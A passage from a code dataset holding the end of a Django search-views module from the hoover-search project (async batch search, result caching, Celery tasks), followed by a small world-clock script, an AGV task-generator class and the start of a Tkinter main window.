'query_count': len(query_strings),\n })\n\n\n@tracer.wrap_function()\n@csrf_exempt\n@never_cache\n@ratelimit(key='user', rate=rates, block=True)\ndef async_batch(request):\n t0 = time()\n body = json.loads(request.body.decode('utf-8'))\n collections = collections_acl(request.user, body['collections'])\n query_strings = body.get('query_strings')\n aggs = body.get('aggs')\n if not collections:\n return JsonErrorResponse(\"No collections selected.\")\n if not query_strings:\n return JsonErrorResponse(\"No items to be searched.\")\n if len(query_strings) > settings.HOOVER_BATCH_LIMIT:\n return JsonErrorResponse(\"Too many search queries.\")\n kwargs = {\n 'collections': [c.name for c in collections],\n 'query_strings': query_strings,\n 'aggs': aggs,\n }\n\n success = False\n try:\n res = _cached_batch(\n collections,\n request.user,\n kwargs,\n wait=False,\n )\n res['status'] = 'ok'\n success = True\n return JsonResponse(res)\n\n except es.SearchError as e:\n return JsonErrorResponse(e.reason)\n\n finally:\n signals.batch.send('hoover.async_batch', **{\n 'request': request,\n 'collections': collections,\n 'duration': time() - t0,\n 'success': success,\n 'query_count': len(query_strings),\n })\n\n\n@tracer.wrap_function()\n@csrf_exempt\n@never_cache\n@ratelimit(key='user', rate=rates, block=True)\ndef async_batch_get(request, uuid):\n batch_result = models.BatchResultCache.objects.get(task_id=uuid)\n assert batch_result.user == request.user\n wait = bool(request.GET.get('wait', None))\n\n if wait and not batch_result.date_finished:\n async_result = _batch.AsyncResult(task_id=batch_result.task_id)\n # wait for the async result to be set\n async_result.get(timeout=SEARCH_SYNC_WAIT_FOR_RESULTS.total_seconds())\n # flush the object that was being modified in the async task\n batch_result.refresh_from_db()\n # make sure it's actually got a result, and return it\n assert batch_result.result is not None, \"batch search failed!\"\n\n return JsonResponse(batch_result.to_dict())\n\n\n# ================================================================================\n# ASYNC SEARCH HELPERS\n# ================================================================================\n\n\ndef _get_modified_at(collections):\n assert collections\n ts = max(c.get_modified_at()['modified_at'] for c in collections)\n ts = datetime.datetime.fromtimestamp(ts)\n if not timezone.is_aware(ts):\n ts = timezone.make_aware(ts, datetime.timezone.utc)\n return ts\n\n\n@tracer.wrap_function()\ndef _cached_batch(collections, user, kwargs, wait=True):\n assert collections\n all_q = models.BatchResultCache.objects.filter(\n user=user,\n args=kwargs,\n date_created__gt=timezone.now() - BATCH_CACHE_AGE,\n )\n # if we have existing hit, check for new collection data\n if all_q.exists():\n all_q = all_q.filter(\n date_created__gt=_get_modified_at(collections),\n )\n # find some existing entry and return it instantly\n found = all_q.filter(result__isnull=False).exists()\n if found:\n cache_entry = all_q.filter(result__isnull=False).order_by('-date_finished')[:1].get()\n log.warn('batch search cache hit: %s', cache_entry)\n return cache_entry\n log.debug('batch search cache miss')\n recent_running_q = all_q.filter(\n result__isnull=True,\n date_created__gt=timezone.now() - BATCH_CACHE_JOIN_RUNNING_MAX_AGE,\n ).order_by('-date_created')\n if recent_running_q.exists():\n cache_entry = recent_running_q[:1].get()\n async_result = _batch.AsyncResult(task_id=cache_entry.task_id)\n log.warning('batch cache hit existing (running): %s', cache_entry)\n else:\n # since we found nothing, create a new entry and launch it\n cache_entry = models.BatchResultCache(user=user, args=kwargs)\n cache_entry.save()\n cache_entry.collections.add(*list(collections))\n cache_entry.save()\n async_result = _batch.apply_async(\n args=(settings.DEBUG_WAIT_PER_COLLECTION, ),\n task_id=cache_entry.task_id,\n kwargs=kwargs,\n queue=BATCH_KEY,\n routing_key=BATCH_KEY,\n )\n\n if wait:\n # wait for the async result to be set\n async_result.get(timeout=BATCH_SYNC_WAIT_FOR_RESULTS.total_seconds())\n # flush the object that was being modified in the async task\n cache_entry.refresh_from_db()\n # make sure it's actually got a result, and return it\n assert cache_entry.result is not None, \"search failed!\"\n\n return cache_entry\n\n\n@tracer.wrap_function()\ndef _cached_search(collections, user, kwargs, refresh=False, wait=True):\n assert collections\n # queryset with all valid cache objects for this search\n all_q = models.SearchResultCache.objects.filter(\n user=user, args=kwargs,\n date_created__gt=timezone.now() - SEARCH_CACHE_AGE,\n )\n # if we have existing hit, check for new collection data\n if all_q.exists():\n all_q = all_q.filter(\n date_created__gt=_get_modified_at(collections),\n )\n if not refresh:\n # find some existing entry and return it instantly\n found = all_q.filter(result__isnull=False).exists()\n if found:\n cache_entry = all_q.filter(result__isnull=False).order_by('-date_finished')[:1].get()\n log.warn('search cache hit: %s', cache_entry)\n return cache_entry\n log.debug('search cache miss')\n else:\n log.debug('search cache refresh')\n\n # since there's no cache hit, find some running entry created less than 2min ago\n recent_running_q = all_q.filter(\n result__isnull=True,\n date_created__gt=timezone.now() - SEARCH_CACHE_JOIN_RUNNING_MAX_AGE,\n ).order_by('-date_created')\n if not refresh and recent_running_q.exists():\n cache_entry = recent_running_q[:1].get()\n async_result = _search.AsyncResult(task_id=cache_entry.task_id)\n log.warning('search cache hit existing (running): %s', cache_entry)\n else:\n # since we found nothing, create a new entry and launch it\n cache_entry = models.SearchResultCache(user=user, args=kwargs)\n cache_entry.save()\n cache_entry.collections.add(*list(collections))\n cache_entry.save()\n async_result = _search.apply_async(\n args=(settings.DEBUG_WAIT_PER_COLLECTION, ),\n task_id=cache_entry.task_id,\n kwargs=kwargs,\n queue=SEARCH_KEY,\n routing_key=SEARCH_KEY,\n )\n\n if wait:\n # wait for the async result to be set\n async_result.get(timeout=SEARCH_SYNC_WAIT_FOR_RESULTS.total_seconds())\n # flush the object that was being modified in the async task\n cache_entry.refresh_from_db()\n # make sure it's actually got a result, and return it\n assert cache_entry.result is not None, \"search failed!\"\n\n return cache_entry\n\n\n@cel.app.task(bind=True, serializer='json', name=BATCH_KEY, routing_key=BATCH_KEY)\n@tracer.wrap_function()\ndef _batch(self, *args, **kwargs):\n \"\"\"Background task that actually runs the batch count search through elasticsearch.\n\n The result is stored in the `BatchResultCache` table as it becomes available.\n \"\"\"\n try:\n cache = models.BatchResultCache.objects.get(task_id=self.request.id)\n cache.date_started = timezone.now()\n cache.save()\n try:\n res = es.batch_count(**kwargs)\n res['status'] = 'ok'\n except es.SearchError as e:\n return JsonErrorResponse(e.reason)\n cache.result = res\n cache.date_finished = timezone.now()\n cache.save()\n return True\n except Exception as e:\n log.error('_batch celery task execution failed!')\n log.exception(e)\n raise\n\n\n@cel.app.task(bind=True, serializer='json', name=SEARCH_KEY, routing_key=SEARCH_KEY)\n@tracer.wrap_function()\ndef _search(self, *args, **kwargs):\n \"\"\"Background task that actually runs the search through elasticsearch and annotates results.\n\n The result is stored in the `SearchResultCache` table as it becomes available.\n \"\"\"\n from .es import _index_id\n\n def col_name(id):\n return Collection.objects.get(id=id).name\n\n if 'dedup_collections' in kwargs:\n dedup_collections = kwargs.pop('dedup_collections')\n else:\n dedup_collections = []\n try:\n cache = models.SearchResultCache.objects.get(task_id=self.request.id)\n cache.date_started = timezone.now()\n cache.save()\n\n try:\n res, counts = es.search(**kwargs)\n res['status'] = 'ok'\n except es.SearchError as e:\n return JsonErrorResponse(e.reason)\n\n dedup_hits = {}\n if dedup_collections:\n dedup_ids = []\n for item in res['hits']['hits']:\n name = col_name(_index_id(item['_index']))\n doc_hash = item['_id']\n dedup_ids.append(doc_hash)\n hits_url = settings.SNOOP_BASE_URL + '/common/collection-hits'\n hits_req = {\n 'collection_list': dedup_collections,\n 'doc_sha3_list': dedup_ids,\n }\n try:\n dedup_hits = requests.get(hits_url, json=hits_req).json()['hits']\n except Exception as e:\n log.exception(e)\n log.warning('error: could not get hits: %s (see above)', str(e))\n\n for item in res['hits']['hits']:\n name = col_name(_index_id(item['_index']))\n doc_hash = item['_id']\n url = 'doc/{}/{}'.format(name, doc_hash)\n item['_collection'] = name\n item['_url_rel'] = url\n _doc_hits = dedup_hits.get(doc_hash)\n item['_dedup_hits'] = _doc_hits\n item['_dedup_hide_result'] = (_doc_hits and (name != _doc_hits[0]))\n res['count_by_index'] = {\n col_name(i): counts[i]\n for i in counts\n }\n res = _sanitize_utf8_values(res)\n cache.result = res\n cache.date_finished = timezone.now()\n cache.save()\n return True\n except Exception as e:\n log.error('_search celery task execution failed!')\n log.exception(e)\n raise\n\n\n# ================================================================================\n# ERROR HANDLERS AND LEGACY REDIRECTORS\n# ================================================================================\n\ndef handler_403(request, exception=None):\n '''Custom 403 error handler.\n\n Returns a 429 Response if the rate limit is exceeded. In any other case it\n calls the default django 403 handler (permission_denied).\n '''\n if isinstance(exception, Ratelimited):\n return HttpResponse('Too many requests', status=429)\n else:\n return permission_denied(request, exception)\n\n\ndef doc_redirect_v0(request, collection_name, id, suffix):\n # the target path is actually served by the UI, not us:\n redirect_url = f'/doc/{collection_name}/{id}'\n return redirect(redirect_url, permanent=True)\n\n\ndef web_viewer_redirect_v0(request):\n relative_path = request.GET['file']\n # this path looks like /api/v0/doc/testdata/8319fde068733d8.../...\n collection, identifier = relative_path.split('/', 6)[4:6]\n # the target path is actually served by the UI, not us:\n redirect_url = f'/doc/{collection}/{identifier}'\n return redirect(redirect_url, permanent=True)\n", "repo_name": "liquidinvestigations/hoover-search", "sub_path": "hoover/search/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 27823, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "7", "api": [{"api_name": "hoover.search.tracing.Tracer", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 46, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 60, "usage_type": "call"}, {"api_name": "models.Collection.objects_for_user", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Collection", "line_number": 68, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 72, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_RATELIMIT_USER", "line_number": 111, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 111, "usage_type": "name"}, {"api_name": "django.conf.settings.HOOVER_RATELIMIT_USER", "line_number": 112, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 112, "usage_type": "name"}, {"api_name": "models.Collection.objects.count", "line_number": 127, "usage_type": "call"}, {"api_name": "models.Collection.objects", "line_number": 127, "usage_type": "attribute"}, {"api_name": "models.Collection", "line_number": 127, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 128, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 125, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 133, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 131, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 139, "usage_type": "call"}, {"api_name": "models.Collection.objects_for_user", "line_number": 141, "usage_type": "call"}, {"api_name": "models.Collection", "line_number": 141, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 136, "usage_type": "call"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 137, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 150, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 145, "usage_type": "call"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 146, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 159, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 161, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 155, "usage_type": "call"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 156, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 168, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_BATCH_LIMIT", "line_number": 169, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 169, "usage_type": "name"}, {"api_name": "django.conf.settings.HOOVER_RATELIMIT_USER", "line_number": 171, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 171, "usage_type": "name"}, {"api_name": "django.conf.settings.HOOVER_RATELIMIT_USER", "line_number": 172, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 172, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 164, "usage_type": "call"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 165, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 188, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 200, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 178, "usage_type": "call"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 179, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_AUTHPROXY", "line_number": 207, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 207, "usage_type": "name"}, {"api_name": "urllib.parse.parse.quote", "line_number": 208, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 208, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 208, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 208, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 210, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_URL", "line_number": 213, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 213, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 214, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_HYPOTHESIS_EMBED", "line_number": 216, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 216, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 219, "usage_type": "call"}, {"api_name": "django.urls.exceptions.NoReverseMatch", "line_number": 220, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 229, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_TITLE", "line_number": 234, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 234, "usage_type": "name"}, {"api_name": "django.conf.settings.HOOVER_LIQUID_TITLE", "line_number": 236, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 236, "usage_type": "name"}, {"api_name": "django.conf.settings.HOOVER_LIQUID_URL", "line_number": 237, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 237, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.cache_control", "line_number": 204, "usage_type": "call"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 205, "usage_type": "call"}, {"api_name": "time.time", "line_number": 259, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 260, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 289, "usage_type": "call"}, {"api_name": "time.time", "line_number": 295, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 249, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 250, "usage_type": "name"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 251, "usage_type": "call"}, {"api_name": "time.time", "line_number": 311, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 312, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 339, "usage_type": "call"}, {"api_name": "time.time", "line_number": 345, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 301, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 302, "usage_type": "name"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 303, "usage_type": "call"}, {"api_name": "models.SearchResultCache.objects.get", "line_number": 355, "usage_type": "call"}, {"api_name": "models.SearchResultCache", "line_number": 355, "usage_type": "attribute"}, {"api_name": "django.http.JsonResponse", "line_number": 368, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 351, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 352, "usage_type": "name"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 353, "usage_type": "call"}, {"api_name": "re.search", "line_number": 373, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_RATELIMIT_THUMBNAIL", "line_number": 375, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 375, "usage_type": "name"}, {"api_name": "django.conf.settings.HOOVER_RATELIMIT_USER", "line_number": 376, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 376, "usage_type": "name"}, {"api_name": "django.conf.settings.HOOVER_RATELIMIT_USER", "line_number": 377, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 377, "usage_type": "name"}, {"api_name": "models.Collection.objects_for_user", "line_number": 386, "usage_type": "call"}, {"api_name": "models.Collection", "line_number": 386, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 390, "usage_type": "name"}, {"api_name": "time.time", "line_number": 391, "usage_type": "call"}, {"api_name": "time.time", "line_number": 403, "usage_type": "call"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 384, "usage_type": "call"}, {"api_name": "models.Collection.objects_for_user", "line_number": 413, "usage_type": "call"}, {"api_name": "models.Collection", "line_number": 413, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 417, "usage_type": "name"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 421, "usage_type": "call"}, {"api_name": "django.conf.settings.SNOOP_BASE_URL", "line_number": 424, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 424, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 425, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 434, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 409, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 410, "usage_type": "name"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 411, "usage_type": "call"}, {"api_name": "time.time", "line_number": 447, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 448, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_BATCH_LIMIT", "line_number": 457, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 457, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 475, "usage_type": "call"}, {"api_name": "time.time", "line_number": 484, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 443, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 444, "usage_type": "name"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 445, "usage_type": "call"}, {"api_name": "time.time", "line_number": 495, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 496, "usage_type": "call"}, {"api_name": "django.conf.settings.HOOVER_BATCH_LIMIT", "line_number": 504, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 504, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 522, "usage_type": "call"}, {"api_name": "time.time", "line_number": 531, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 491, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 492, "usage_type": "name"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 493, "usage_type": "call"}, {"api_name": "models.BatchResultCache.objects.get", "line_number": 542, "usage_type": "call"}, {"api_name": "models.BatchResultCache", "line_number": 542, "usage_type": "attribute"}, {"api_name": "django.http.JsonResponse", "line_number": 555, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 538, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 539, "usage_type": "name"}, {"api_name": "django_ratelimit.decorators.ratelimit", "line_number": 540, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 566, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 566, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.is_aware", "line_number": 567, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 567, "usage_type": "name"}, {"api_name": "django.utils.timezone.make_aware", "line_number": 568, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 568, "usage_type": "name"}, {"api_name": "datetime.timezone", "line_number": 568, "usage_type": "attribute"}, {"api_name": "models.BatchResultCache.objects.filter", "line_number": 575, "usage_type": "call"}, {"api_name": "models.BatchResultCache", "line_number": 575, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.now", "line_number": 578, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 578, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 594, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 594, "usage_type": "name"}, {"api_name": "models.BatchResultCache", "line_number": 602, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG_WAIT_PER_COLLECTION", "line_number": 607, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 607, "usage_type": "name"}, {"api_name": "models.SearchResultCache.objects.filter", "line_number": 629, "usage_type": "call"}, {"api_name": "models.SearchResultCache", "line_number": 629, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.now", "line_number": 631, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 631, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 652, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 652, "usage_type": "name"}, {"api_name": "models.SearchResultCache", "line_number": 660, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG_WAIT_PER_COLLECTION", "line_number": 665, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 665, "usage_type": "name"}, {"api_name": "models.BatchResultCache.objects.get", "line_number": 691, "usage_type": "call"}, {"api_name": "models.BatchResultCache", "line_number": 691, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.now", "line_number": 692, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 692, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 700, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 700, "usage_type": "name"}, {"api_name": "models.Collection.objects.get", "line_number": 719, "usage_type": "call"}, {"api_name": "models.Collection.objects", "line_number": 719, "usage_type": "attribute"}, {"api_name": "models.Collection", "line_number": 719, "usage_type": "name"}, {"api_name": "models.SearchResultCache.objects.get", "line_number": 726, "usage_type": "call"}, {"api_name": "models.SearchResultCache", "line_number": 726, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.now", "line_number": 727, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 727, "usage_type": "name"}, {"api_name": "es.search", "line_number": 731, "usage_type": "call"}, {"api_name": "es.SearchError", "line_number": 733, "usage_type": "attribute"}, {"api_name": "es._index_id", "line_number": 740, "usage_type": "call"}, {"api_name": "django.conf.settings.SNOOP_BASE_URL", "line_number": 743, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 743, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 749, "usage_type": "call"}, {"api_name": "es._index_id", "line_number": 755, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 769, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 769, "usage_type": "name"}, {"api_name": "django_ratelimit.exceptions.Ratelimited", "line_number": 788, "usage_type": "argument"}, {"api_name": "django.http.HttpResponse", "line_number": 789, "usage_type": "call"}, {"api_name": "django.views.defaults.permission_denied", "line_number": 791, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 797, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 806, "usage_type": "call"}]} {"seq_id": "15409960040", "text": "from datetime import datetime\nfrom pytz import country_timezones\nfrom paises import paises\nimport pytz\n\ntimezone_country = {}\n\nfor countrycode in country_timezones:\n timezones = country_timezones[countrycode]\n # Iterating over the timezones of the country.\n for timezone in timezones:\n timezone_country[timezone] = countrycode\nzonas = []\nfor i in timezone_country.keys():\n zonas.append(i)\n\nzone_selecionada = pytz.timezone(zonas[5])\ncountry_time = datetime.now(zone_selecionada)\n\n\n#obtendo o nome do pais da zona selecionada ---------------------------------------\nnumero = int(input(\"digite o numero do pais:\"))\n#variavel que tera o simbolo do pais\nsimbol_do_pais = [timezone_country[zonas[numero]]]\n\nfor i in paises.keys():\n simbol_do_pais.append(i.lower())\n\n#usando formatpara obter o caminho da imagem (bandeira do pais)\nimagem = \"png250px/{}.{}\".format(simbol_do_pais[0],'png')\n\n#obrtendo o key do pais em letras maiusculas\nkey = simbol_do_pais[0].upper()\n\n#obtendo o nome do pais\nnome_do_pais = paises[key]\n\nprint(f\"A data da {2} eh {country_time.strftime('%d-%m-%y')} e o pais eh {nome_do_pais} e la sao {country_time.strftime('%H:%M:%S')}\")", "repo_name": "Rikeonofrio/world-clock", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1170, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pytz.country_timezones", "line_number": 8, "usage_type": "name"}, {"api_name": "pytz.country_timezones", "line_number": 9, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "paises.paises.keys", "line_number": 26, "usage_type": "call"}, {"api_name": "paises.paises", "line_number": 26, "usage_type": "name"}, {"api_name": "paises.paises", "line_number": 36, "usage_type": "name"}]} {"seq_id": "13563482320", "text": "from task import Task\nfrom random import choice, randint\n\nclass TaskGenerator:\n def __init__(self, mapPoints, fixedPickUpPoint, fixedDropOffPoint, orderPickUpPoint ,orderDropOffPoint):\n self.mapPoints = mapPoints\n self.fixedPickUpPoint = fixedPickUpPoint\n self.fixedDropOffPoint = fixedDropOffPoint\n self.orderPickUpPoint = orderPickUpPoint\n self.orderDropOffPoint = orderDropOffPoint\n \n self.PickUpPointChoice = fixedPickUpPoint\n self.DropOffPointChoice = fixedDropOffPoint\n self.idCounter = 0\n \n def generateSimpleTask(self, start, dest, initTime):\n newTask = Task(ID=self.idCounter, start=start, dest=dest, initTime=initTime)\n self.idCounter += 1\n return newTask\n \n def generateRandomTask(self, initTime, duplicate = True):\n if not duplicate:\n start = choice(self.fixedPickUpPoint)\n dest = choice(self.fixedDropOffPoint)\n else:\n if not self.PickUpPointChoice:\n self.PickUpPointChoice = self.fixedPickUpPoint\n else:\n start = choice(self.PickUpPointChoice)\n self.PickUpPointChoice.delete(start)\n \n if not self.DropOffPointChoice:\n self.DropOffPointChoice = self.fixedDropOffPoint\n else:\n start = choice(self.DropOffPointChoice)\n self.DropOffPointChoice.delete(start)\n \n newTask = Task(ID=self.idCounter, start=start, dest=dest, initTime=initTime)\n self.idCounter += 1\n \n return newTask\n \n def generateTask(self, orderPickup, orderDropoff, initTime):\n start = self.fixedPickUpPoint[self.orderPickUpPoint.index(orderPickup)]\n dest = self.fixedDropOffPoint[self.orderDropOffPoint.index(orderDropoff)]\n newTask = Task(ID=self.idCounter, start=start, dest=dest, initTime=initTime, pickupNo=int(orderPickup), dropoffNo=int(orderDropoff))\n self.idCounter += 1\n return newTask", "repo_name": "mhfong/agv-fms", "sub_path": "sim/taskGenerator.py", "file_name": "taskGenerator.py", "file_ext": "py", "file_size_in_byte": 2033, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "task.Task", "line_number": 17, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 23, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 24, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 29, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 35, "usage_type": "call"}, {"api_name": "task.Task", "line_number": 38, "usage_type": "call"}, {"api_name": "task.Task", "line_number": 46, "usage_type": "call"}]} {"seq_id": "34798073322", "text": "from pathlib import Path\nfrom tkinter import (\n Toplevel,\n Frame,\n Canvas,\n Button,\n PhotoImage,\n messagebox,\n StringVar,\n)\nfrom controller import *\nfrom gui.main_window.home.main import Home\nfrom gui.main_window.selectservice.main import SelectService\nfrom gui.main_window.about.main import About\nfrom gui.main_window.signup.main import AddUsers\nfrom .. import login\n\nOUTPUT_PATH = Path(__file__).parent\nASSETS_PATH = OUTPUT_PATH / Path(\"./assets\")\n\n\ndef relative_to_assets(path: str) -> Path:\n return ASSETS_PATH / Path(path)\n\n\ndef mainWindow():\n MainWindow()\n\n\nclass MainWindow(Toplevel):\n global user\n\n def __init__(self, *args, **kwargs):\n Toplevel.__init__(self, *args, **kwargs)\n\n self.title(\"SHORTPIX VISUAL EFFECTS\")\n\n self.geometry(\"1012x506\")\n self.configure(bg=\"#5E95FF\")\n\n self.current_window = None\n self.current_window_label = StringVar()\n\n self.canvas = Canvas(\n self,\n bg=\"#5E95FF\",\n height=506,\n width=1012,\n bd=0,\n highlightthickness=0,\n relief=\"ridge\",\n )\n\n self.canvas.place(x=0, y=0)\n\n self.canvas.create_rectangle(\n 215, 0.0, 1012.0, 506.0, fill=\"#FFFFFF\", outline=\"\"\n )\n\n # Add a frame rectangle\n self.sidebar_indicator = Frame(self, background=\"#FFFFFF\")\n\n self.sidebar_indicator.place(x=0, y=133, height=47, width=7)\n\n button_image_1 = PhotoImage(file=relative_to_assets(\"button_1.png\"))\n self.home_btn = Button(\n self.canvas,\n image=button_image_1,\n borderwidth=0,\n 